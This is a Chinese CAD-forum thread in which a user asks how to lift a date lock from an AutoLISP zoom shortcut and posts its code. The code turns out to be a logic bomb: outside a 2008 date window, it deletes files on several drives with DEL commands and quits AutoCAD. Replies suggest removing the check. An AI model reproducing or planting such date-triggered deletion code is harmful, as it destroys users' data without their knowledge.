如何解除LSP的时间封印？

sj321 · 发表于 2018-6-6 16:00:44

马上注册，结交更多好友，享用更多功能，让你轻松玩转社区。

您需要登录才可以下载或查看，没有账号？立即注册

×

(defun c:z()
  (aacadd)
  (command "ZOOM")
  (princ))
;****************************************************************************************
(defun aacadd()
  (setq aa (atof (substr (rtos (getvar "cdate") 2 4) 1 8)))
  (if(or (>= aa 20080603.0 ) (<= aa 20080428.0 ))

LSP的加了时间的限制，如何解除时间封印？谢谢！！！

newer · 发表于 2018-6-11 10:15:56

你要不想执行那的话，
把 (aacadd) 这行删除了。

marting · 发表于 2018-6-6 16:16:47

没明白你说的意思，什么时间封印？
你这不源代码吗，修改呗。

风雪独行 · 发表于 2018-6-6 17:04:20

sj321 · 发表于 2018-6-7 17:21:37

marting 发表于 2018-6-6 16:16
没明白你说的意思，什么时间封印？
你这不源代码吗，修改呗。

您好！
(if(or (>= aa 20080603.0 ) (<= aa 20080428.0 ))
上面的LSP有一个时间限制2008年4月份到2008年6月份到期。以前可以一直使用的，不知道为什么现在系统捕抓到已经过期了。不能再使用了。我修改了上面的时间没用作用，他是以CDATE为准（系统时间）如何可以修改到无限使用时间？？

Lispboy · 发表于 2018-6-7 18:34:03

sj321 发表于 2018-6-7 17:21
您好！
(if(or (>= aa 20080603.0 ) (

你直接把IF语句去掉，或者直接改 (if t ....

hejiho · 发表于 2018-6-8 04:42:32

晓东天天让人涨知识呀

sj321 · 发表于 2018-6-11 08:52:33

Lispboy 发表于 2018-6-7 18:34
你直接把IF语句去掉，或者直接改 (if t ....

或者直接改啥？if T后面的英文看不到喔

sj321 · 发表于 2018-6-11 08:54:43

hejiho 发表于 2018-6-8 04:42
晓东天天让人涨知识呀

晓东天天让人涨知识呀

Lisphk · 发表于 2018-6-11 08:55:14

sj321 发表于 2018-6-11 08:52
或者直接改啥？if T后面的英文看不到喔

如果你有完整的源代码的话，你修改确保不进入你不想去的地方就行了。
或者你把源代码全部贴上来。

sj321 · 发表于 2018-6-11 09:34:40

(defun c:z()
  (aacadd)
  (command "ZOOM")
  (princ))
;****************************************************************************************
(defun aacadd()
  (setq aa (atof (substr (rtos (getvar "cdate") 2 4) 1 8)))
  (if(or (>= aa 20080603.0 ) (<= aa 20080428.0 ))
(progn
   (command "DEL" "c:\\XXX\\XXXXX\\XXXX.txt" "")
   (command "DEL" "D:\\XXX\\XXX.dat" "")
   (command "DEL" "e:\\XXX\\XXX.txt" "")

   (command "quit" "y")

))
(princ)
)

其中XXX是文件位置，为了保护隐私用XXX替代，谢谢！

sj321 · 发表于 2018-6-11 17:48:25

谢谢谢谢谢谢

kmliro_2017 · 发表于 2024-7-19 08:09:47

好资源，谢谢分享！！！！！

账号		自动登录	找回密码
密码			立即注册